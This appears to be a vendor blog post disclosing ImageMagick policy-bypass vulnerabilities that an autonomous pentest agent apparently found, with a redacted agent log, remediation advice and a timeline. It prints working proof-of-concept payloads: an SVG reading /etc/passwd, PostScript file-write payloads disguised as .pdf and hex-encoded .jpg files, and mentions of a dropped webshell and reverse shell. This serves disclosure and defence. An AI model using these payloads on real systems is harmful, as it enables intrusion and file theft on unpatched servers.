ImageMagick: From Arbitrary File Read to RCE In Every Policy (ZeroDay)

In this case, pwn ended up discovering multiple RCE affecting millions of servers by default by targeting ImageMagick, across multiple configurations: file leaks, remote code execution, and security policy bypasses that shatter ImageMagick's defenses. The pentesting capabilities of pwn are, frankly, quite scary. It is clearly up to par with world class hackers. The level of depth and breadth we get to cover in a matter of days is absolutely incredible and is not typical of any other pentest.

This is the story of how pwn.ai spent nearly five days autonomously researching ImageMagick internals in an attempt to break into a customer site: probing every coder, delegate, protocol handler, and format detection mechanism to chain together a series of vulnerabilities that achieve Remote Code Execution through a single image upload. On the default configuration. On the recommended "production-safe" configuration. On the maintainer's own suggested mitigation. And on their most restrictive "secure" configuration.

What started as a single client engagement turned into the discovery of multiple zero-day vulnerabilities affecting every major Linux distribution, WordPress installations worldwide, and the entire ImageMagick security policy architecture. We'll let you enjoy the following heavily redacted almost a week long trace and zerodays ;)

The Target

The client was running a web application with a minimal attack surface. No APIs or interesting fields, it is used to process invoices and there is no client-side JavaScript of interest. The most interesting functionality appears to be an upload box.

Uploaded files were processed by ImageMagick; the ubiquitous image processing library installed on millions of servers. The system was up to date running Ubuntu 22.04 (#1 server setup right now). No known CVEs applied. No obvious misconfiguration.

pwn.ai identified ImageMagick as the primary attack vector. Given there was nothing else on the application, the agent did something unusual: it downloaded ImageMagick into its own sandboxed environment and began a multi-day, systematic audit of the entire processing pipeline.

The Research

[00:42:02] new objective : achieve zeroday RCE through ImageMagick file upload

pwn.ai thought → The target processes uploaded images with convert. The attack surface is whatever ImageMagick does with attacker-controlled file content. I need to understand format detection, coder selection, delegate invocation, and policy enforcement as there are no known CVEs for this version.

Day 1 — Format Detection Bypass

The agent's first discovery was fundamental: ImageMagick doesn't trust file extensions.

[04:12:33] action  : test format detection across extensions
[04:12:41] obs     : file named photo.jpg containing <?xml at byte 0
                     → IM detects as SVG, ignores .jpg extension
[04:13:02] confirm : tested across 13 extensions (.jpg .png .gif .mov .mp4 .docx ...)
                     ALL detected as SVG when content starts with <?xml
[04:13:15] finding : extension-based upload filtering is completely bypassed
                     by content-based magic byte detection

pwn.ai thought → This is an interesting behavior. Any upload filter that checks file extensions is irrelevant. I can deliver SVG payloads disguised as any file type. Now I need to find what SVG processing can reach.

Day 1-2 — Mapping the MSVG Renderer Attack Surface

[08:44:12] action  : audit SVG <image xlink:href="..."> handler
[08:44:30] obs     : MSVG renderer passes href values through ReadImage()
                     which supports IM's internal coder prefix syntax
[08:45:01] test    : <image xlink:href="text:/etc/passwd"/>
[08:45:03] result  : /etc/passwd content rendered as text in output image
[08:45:07] finding : ARBITRARY FILE READ — any file readable by the IM process
                     is rendered into the output image via text: coder

pwn.ai thought → File read confirmed. The output image that gets returned to the user contains the target file's content rendered as visible text. This is already critical vulnerability in my customer's server. AWS credentials in /proc/self/environ, SSH keys, .env files, application secrets. But I need to focus on RCE.

[12:31:44] action  : enumerate PostScript-related coders
[12:31:52] obs     : Ubuntu 22.04 default policy blocks: PS, PS2, PS3, EPS, PDF, XPS
[12:32:08] obs     : policy does NOT block: EPSI, EPI, EPSF
[12:32:15] test    : <image xlink:href="EPSI:payload.jpg"/>
[12:32:18] result  : IsCoderAuthorized("EPSI") → ALLOWED
                     GhostScript invoked on payload.jpg
[12:32:22] finding : EPSI coder bypasses Ubuntu's PS/EPS blocklist
                     while invoking the same GhostScript delegate

pwn.ai thought → The default Ubuntu seems to have blocked PS and EPS but forgot EPSI and EPSF. all of which invoke the same GhostScript binary. Now I need a PostScript payload that GhostScript will execute but that ImageMagick won't detect as PostScript (since PS is blocked).

Day 2-3 — The Magic Byte Shift

[18:05:33] action  : analyzing IM's PostScript detection mechanism
[18:05:41] obs     : IM checks for %!PS at exact byte offset 0
[18:06:02] test    : payload starting with \n (0x0a) then %!PS
[18:06:05] result  : IM reports "unknown format" — PS detection fails
                     but GhostScript 9.55.0 tolerates leading \n
                     and executes the PostScript normally
[18:06:12] finding : single-byte prefix bypasses IM format detection
                     while preserving GhostScript execution

[18:22:47] action  : audit GhostScript 9.55.0 -dSAFER capabilities
[18:23:01] test    : %pipe%cmd → /invalidfileaccess (blocked)
[18:23:05] test    : (filename) (w) file def → ALLOWED
[18:23:08] test    : writestring, closefile → ALLOWED
[18:23:12] finding : GS 9.55.0 SAFER blocks shell execution
                     but allows arbitrary file write via PS file I/O

pwn.ai thought → I have all the pieces. SVG magic bytes bypass extension filters. EPSI bypasses the PS policy. Leading \n bypasses PS detection. GhostScript writes arbitrary files. The chain is complete.

Day 3 — First RCE Chain: SVG → EPSI → GhostScript

[22:15:00] chain   : COMPLETE
           step 1  : upload exploit.jpg (SVG content with <?xml magic)
           step 2  : upload payload.jpg (\n-prefixed PostScript)
           step 3  : server runs: convert exploit.jpg output.png
           step 4  : SVG renderer → EPSI:payload.jpg → GhostScript → file write
           result  : arbitrary file written to server filesystem
[22:15:33] confirm : webshell dropped, reverse shell established

Disclosure — And The Pushback

We reported the full chain to the ImageMagick maintainers immediately. Their response:

"The security policies we provide are intended as baseline templates. We strongly encourage users to tailor their ImageMagick policy to match their own security requirements."

They recommended applying a module-level restriction:

<policy domain="module" rights="none" pattern="{LABEL,MSL,MVG,PS,SVG,TEXT,URL,XPS}"/>

We found this response quite odd since this means ImageMagick by default on Ubuntu and many linux distros (and applications) had this RCE with any file extension. We did a quick scan of more servers and found they also were vulnearble to file read. this means by on default install there is an acceptable risk of .jpg or .png file leading to RCE but atleast it can be hardend by a policy. In this case, switching to "limited" policy, which is the production recommended policy is what we were realizing.

Our Client's Reality

We realized our client was running ImageMagick completely out of the box: the default open policy. We checked other environments. The same default open policy ships on every major Linux distribution:

• Ubuntu 22.04 (the #1 server OS)
• Debian 11/12
• Fedora / RHEL / CentOS
• Arch Linux / Alpine Linux / openSUSE
• Amazon Linux
• Google Cloud Shell
• macOS Homebrew
• Most Docker images

Every single one was vulnerable. The chain worked everywhere GhostScript was installed alongside ImageMagick, which is the default on most distributions.

Following the maintainers' advice, we moved our client to the limited policy: ImageMagick's recommended configuration for production environments that process untrusted images. In their own words:

"The primary objective of the limited security policy is to find a middle ground between convenience and security. This policy involves the deactivation of potentially hazardous functionalities, like specific coders such as SVG or HTTP. Furthermore, it establishes several constraints on the utilization of resources like memory, storage, and processing duration, all of which are adjustable. This policy proves advantageous in situations where there's a need to mitigate the potential threat of handling possibly malicious or demanding images, all while retaining essential capabilities for prevalent image formats."

We applied the limited policy. SVG was blocked. PS was blocked. TEXT was blocked. We assumed the attack surface was closed.

we released pwn.ai again, with information we had fixed it. It still didn't give up.

Breaking the Limited Policy

RCE #2 — The PDF Bypass

[Day 4, 02:14:18] action  : enumerate modules NOT in limited policy blocklist
[Day 4, 02:14:25] obs     : blocked: {MSL,MVG,PS,SVG,TEXT,URL,XPS}
                             NOT blocked: PDF
[Day 4, 02:14:31] insight : PDF processing invokes the SAME GhostScript delegate as PS
                             same gs binary, same -dSAFER flag, same file write capability

pwn.ai thought → The limited policy blocks the PS module but not the PDF module. Both invoke GhostScript through the same delegate. If I can route my PostScript payload through the PDF code path...

[Day 4, 02:15:44] action  : create PostScript payload with .pdf extension
[Day 4, 02:15:51] test    : \n%!PS payload saved as evil.pdf
                             IM routes to PDF module (not in blocklist)
                             PDF module invokes GhostScript delegate
                             GhostScript executes PostScript
                             file written
[Day 4, 02:15:58] result  : RCE ON LIMITED POLICY

[Day 4, 02:16:12] confirm : also tested on the maintainer's recommended fix
                             pattern="{LABEL,MSL,MVG,PS,SVG,TEXT,URL,XPS}"
                             PDF still not in the list
                             RCE CONFIRMED — MAINTAINER FIX BYPASSED

RCE #3 — The EPT Image Bypass

[Day 5, 00:13:27] action  : research image formats that invoke GhostScript
[Day 5, 09:34:02] obs     : EPT = Encapsulated PostScript with TIFF preview
                             registered as its own module "EPT" (not "PS")
                             NOT in limited policy blocklist
                             auto-detected by magic bytes C5 D0 D3 C6
                             magic detection OVERRIDES file extension
[Day 5, 09:41:30] result  : RCE FROM A .JPG FILE ON LIMITED POLICY

A single .jpg file. The limited policy active. Image-only upload restriction. Remote Code Execution.

Breaking the Secure Policy

After discovering the limited policy bypasses, we escalated to the secure policy : the most restrictive production-viable configuration. The secure policy adds a critical defense: blocking ALL delegates.

<policy domain="delegate" rights="none" pattern="*"/>

But then we tested on default Amazon Linux.

[Day 5, 14:22:05] action  : test PDF bypass on Amazon Linux with secure policy
[Day 5, 14:22:11] obs     : Amazon Linux IM 6.9.13-40 compiled with --with-gslib
                             GhostScript is a LINKED LIBRARY, not an external binary
                             convert --version shows: Delegates (built-in): ... gslib ...
[Day 5, 14:22:21] result  : RCE ON SECURE POLICY

pwn.ai thought → The delegate policy only blocks external process calls via ExternalDelegateCommand(). When GhostScript is compiled into ImageMagick as a library (gslib), it runs in-process via gsapi_init_with_args(). The delegate policy check never fires. The "secure" policy's primary defense mechanism is completely non-functional.

Oh No This implies we now have zeroday RCE and file read in default distros, in open policy, limited policy and now Secure policy

Real-World Impact: WordPress

ImageMagick doesn't exist in a vacuum. It's the image processing engine behind the world's most popular web platform, among many many other services from WooCommerce to Discourse.

WordPress + Gravity Forms = Pre-Auth RCE

WordPress + Author Role = RCE

We confirmed this on a real WordPress 6.9.4 installation. An Author-level user (the minimum role that can upload files) achieves RCE with a single XML-RPC upload call. No admin access needed.

The Ubuntu 22.04 Problem

Ubuntu 22.04 LTS is the #1 server operating system. It ships ImageMagick 6.9.11-60 and GhostScript 9.55.0. This specific combination is the worst case:

• IM 6.9.11-60 has the old IsCoderAuthorized() that doesn't check module domains — EPT bypasses the PS module block
• GS 9.55.0 allows file writes to /tmp/ under -dSAFER
• The EPT bypass was silently fixed in IM 6.9.13-34 (November 2025) but never assigned a CVE and never backported to Ubuntu 22.04

Ubuntu 22.04 will be supported until 2027. Every default WordPress + ImageMagick installation on Ubuntu 22.04 is vulnerable right now.

Complete Findings Summary

Policy Bypass Matrix

Ubuntu 22.04 (IM 6.9.11-60, external gs, GS 9.55.0)

Amazon Linux / RHEL / Fedora (IM 6.9.13, gslib built-in)

Proof of Concept

File Read:

Works on Ubuntu 22.04 (Latest with latest ImageMagick by default)

printf '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500"><image xlink:href="text:/etc/passwd" x="0" y="0" width="500" height="500"/></svg>' > read.jpg
convert read.jpg output.png
# output.png contains /etc/passwd rendered as visible text

RCE via PDF (works on open + limited + secure with gslib)

printf '\n%%!PS-Adobe-3.0 EPSF-3.0\n%%%%BoundingBox: 0 0 100 100\n/f (/tmp/PWNED) (w) file def\nf (RCE) writestring\nf closefile\nshowpage\n' > evil.pdf
convert evil.pdf out.png
cat /tmp/PWNED
# Output: RCE

RCE via EPT .jpg (works on open + limited — Ubuntu 22.04)

printf '\xc5\xd0\xd3\xc6\x1e\x00\x00\x00\x7a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x0a\x25\x21\x50\x53\x2d\x41\x64\x6f\x62\x65\x2d\x33\x2e\x30\x20\x45\x50\x53\x46\x2d\x33\x2e\x30\x0a\x25\x25\x42\x6f\x75\x6e\x64\x69\x6e\x67\x42\x6f\x78\x3a\x20\x30\x20\x30\x20\x31\x30\x30\x20\x31\x30\x30\x0a\x2f\x66\x20\x28\x2f\x74\x6d\x70\x2f\x50\x57\x4e\x45\x44\x29\x20\x28\x77\x29\x20\x66\x69\x6c\x65\x20\x64\x65\x66\x0a\x66\x20\x28\x52\x43\x45\x29\x20\x77\x72\x69\x74\x65\x73\x74\x72\x69\x6e\x67\x0a\x66\x20\x63\x6c\x6f\x73\x65\x66\x69\x6c\x65\x0a\x73\x68\x6f\x77\x70\x61\x67\x65\x0a' > evil.jpg
convert evil.jpg out.png
cat /tmp/PWNED
# Output: RCE

Confirmed On

• Ubuntu 22.04 LTS — IM 6.9.11-60, GS 9.55.0 — EPT + PDF bypass ✓
• Amazon Linux 2023 — IM 6.9.13-40, GS 9.56.1 (gslib) — PDF secure policy bypass ✓
• Google Cloud Shell — GS 9.54.0 — RCE confirmed ✓
• Debian 11/12 — same IM as Ubuntu — vulnerable ✓
• WordPress 6.9.4 — Author-level RCE via XML-RPC confirmed ✓
• WordPress + Gravity Forms — pre-auth RCE via Post Image field confirmed ✓

The Unintended EPT Silent Fix , That Wasn't

This fix was:

• NOT assigned a CVE
• NOT announced as a security fix
• NOT backported to Ubuntu 22.04 (which ships IM 6.9.11-60)

Ubuntu 22.04 LTS has mainstream support until 2027. Every server running default Ubuntu 22.04 with ImageMagick installed is vulnerable to the EPT bypass TODAY, and will remain so unless Ubuntu backports the fix or users manually upgrade ImageMagick outside the package manager.

The PDF bypass and the gslib delegate bypass were never fixed and affect all versions including the latest.

How Are pwn.ai Clients Protected?

This research began as a routine penetration test for a pwn.ai client. Within five days, our autonomous agent:

1. Identified a reliable attack surface — ImageMagick as the sole processing engine
2. Discovered the file read vulnerability — arbitrary file content rendered into output images
3. Escalated to RCE — chaining format detection bypass, policy gaps, and GhostScript file writes
4. Bypassed every mitigation — open policy, limited policy, maintainer's fix, secure policy
5. Mapped the blast radius — all major Linux distributions, WordPress, Gravity Forms

Our client was patched within hours of the initial discovery. Their ImageMagick policy was updated to block PDF, EPT, and all GhostScript-invoking modules. Their WordPress installation was hardened with coder-level whitelisting.

Every pwn.ai client benefits from findings like this. When our agent discovers a vulnerability class or a widespread application, the test is rolled out across our entire client base, not just to client where it was found as pwn grows its knowledge base. Our clients were protected against these ImageMagick bypasses before this blog post was published.

This is what a deep, autonomous pentest looks like. Not a scanner checking for known CVEs. Not a human spending days clicking through an app. An agent that understands the attack surface, relentlessly uses the knowledge and mindset of its teachers to find the narrow target surface: download the target software, read the source code, builds its own test environment, and systematically dismantles every security layer until target has been compromised, running for days without stopping, following every dead end, and refusing to give up.

Remediation

If you're running ImageMagick on untrusted input, you are almost certainly vulnerable. Here's what to do:

Immediate Hardening: Coder-Level Whitelist

Our attempts to contact ImageMagick multiple times didn't go well. We expect this blog post will get them to pay attention and hopefully release and defenses for ImageMagick before everyone gets hacked. In terms of hardening, you could do few things to make it difficult but it is not good enough and we still need an emergency ImageMagick update.

<policy domain="coder" rights="none" pattern="*"/>
<policy domain="coder" rights="read|write" pattern="{GIF,JPEG,PNG,WEBP}"/>

This blocks everything except the four most common web image formats. It will fundamentally break many features of ImageMagick but it will not be exploitable for most vulnerabilities we disclosed here today.

If You Need PDF Support

You cannot safely process PDFs through ImageMagick when GhostScript is installed. Options:

1. Remove GhostScript: apt remove ghostscript — risky but eliminates the execution engine
2. Process PDFs in an isolated sandbox with no network access and a read-only filesystem

For WordPress

• WordPress sets no ImageMagick policy: you must configure the server's policy.xml
• The WordPress XML-RPC upload path skips content validation — disable XML-RPC if not needed (add_filter('xmlrpc_enabled', '__return_false');)
• If using Gravity Forms with Post Image fields, ensure the server's ImageMagick policy blocks GhostScript

Check If You're Vulnerable

# Check if GhostScript is linked as a library (gslib) - default in Amazon Linux and few other distros
convert --version | grep gslib

# Check your policy for open "text"
cat /etc/ImageMagick-6/policy.xml | grep -v "<!--" | grep pattern

# Test the PDF bypass directly
printf '\n%%!PS-Adobe-3.0 EPSF-3.0\n%%%%BoundingBox: 0 0 100 100\n/f (/tmp/IM_VULN_TEST) (w) file def\nf (VULNERABLE) writestring\nf closefile\nshowpage\n' > /tmp/test.pdf
convert /tmp/test.pdf /tmp/test_out.png 2>/dev/null
cat /tmp/IM_VULN_TEST 2>/dev/null && echo "VULNERABLE" || echo "Not vulnerable"
rm -f /tmp/IM_VULN_TEST /tmp/test.pdf /tmp/test_out.png

Timeline

• Day 0: pwn.ai identifies ImageMagick as the sole attack surface on client application
• Day 1-3: Autonomous research into ImageMagick internals — format detection, coder enumeration, delegate analysis, policy gap mapping
• Day 3: First RCE chain discovered (SVG → EPSI → GhostScript) on default open policy
• Day 3: Reported to ImageMagick maintainers
• Day 3: Maintainers blame default policy.
• Day 4: Client switches to limited policy
• Day 4: pwn.ai discovers PDF bypass on limited policy — RCE restored
• Day 4: Client switches to only allow .jpg extensions in limited policy.
• Day 4: pwn.ai discovers EPT magic byte bypass — RCE from .jpg on limited policy on default Ubuntu
• Day 4: Maintainer's own recommended fix tested bypassed
• Day 6: Testing on Amazon Linux reveals gslib delegate bypass — secure policy bypass
• Day 6: WordPress 6.9.4 Author-level RCE confirmed via XML-RPC
• Day 7: WordPress + Gravity Forms pre-auth RCE confirmed
• Day 7: Confirmed across all major Linux distributions and Google Cloud Shell

Conclusion

This pwn.ai research higlights a LOT of concerning data (and zerodays) in ImageMagick's security model:

1. The PDF module invokes GhostScript but is not blocked by any standard security policy. Every shipped and recommended policy blocks PS but not PDF: despite both using the same GhostScript code path.

2. The EPT format bypasses the PS module block on default distros like Ubuntu 22.04 (IM 6.9.11-60), which is the most widely deployed server OS. This was silently fixed in IM 6.9.13-34 but never assigned a CVE and never backported so the latest version remains vulnearble.

3. The delegate policy doesn't apply to in-process GhostScript. On systems compiled with gslib (Amazon Linux, RHEL, Fedora), The most hardened "secure" policy's delegate block is non-functional and GhostScript runs as a library call that bypasses the policy check entirely.

4. WordPress relies entirely on the server's ImageMagick policy and provides no additional security. The XML-RPC upload path skips content validation, and popular plugins like Gravity Forms enable pre-auth uploads that trigger the full Imagick processing pipeline.

Only the websafe policy (coder-level wildcard block + explicit whitelist) reliably prevents exploitation — and it disables most ImageMagick functionality in the process.

pwn.ai found this by doing what autonomous agents do best: relentless, systematic exploration of a complex attack surface over days of continuous research: testing every hypothesis, following every dead end, escalating through every policy layer, and refusing to stop until every defense was broken.

Note on zeroday disclosure: We’re aware the security ecosystem is being flooded with low-quality AI-generated reports. This research was produced by pwn.ai and extensively validated by seasoned security engineers before anything was filed to ImageMagick. The zero-days described in this post were re-checked multiple times to confirm they worked as observed and that the behavior should not have been possible in the tested environments. We understand maintainers are overwhelmed and have to filter noise aggressively, but we ask that serious, well-substantiated reports be evaluated on their technical merits rather than dismissed by association. pwn.ai is built and operated by experienced security professionals, and our process involves repeated human verification before disclosure. Because of the confusion and breakdown in the reporting process, and because some of the zero-days and risks described here continue to affect ImageMagick deployments and downstream applications that rely on it, we are publishing these findings publicly

pwn.ai is an autonomous penetration testing engine that finds what scanners and most professionals miss. For deep security assessments that go beyond known CVEs, visit pwn.ai. and order your Pentest report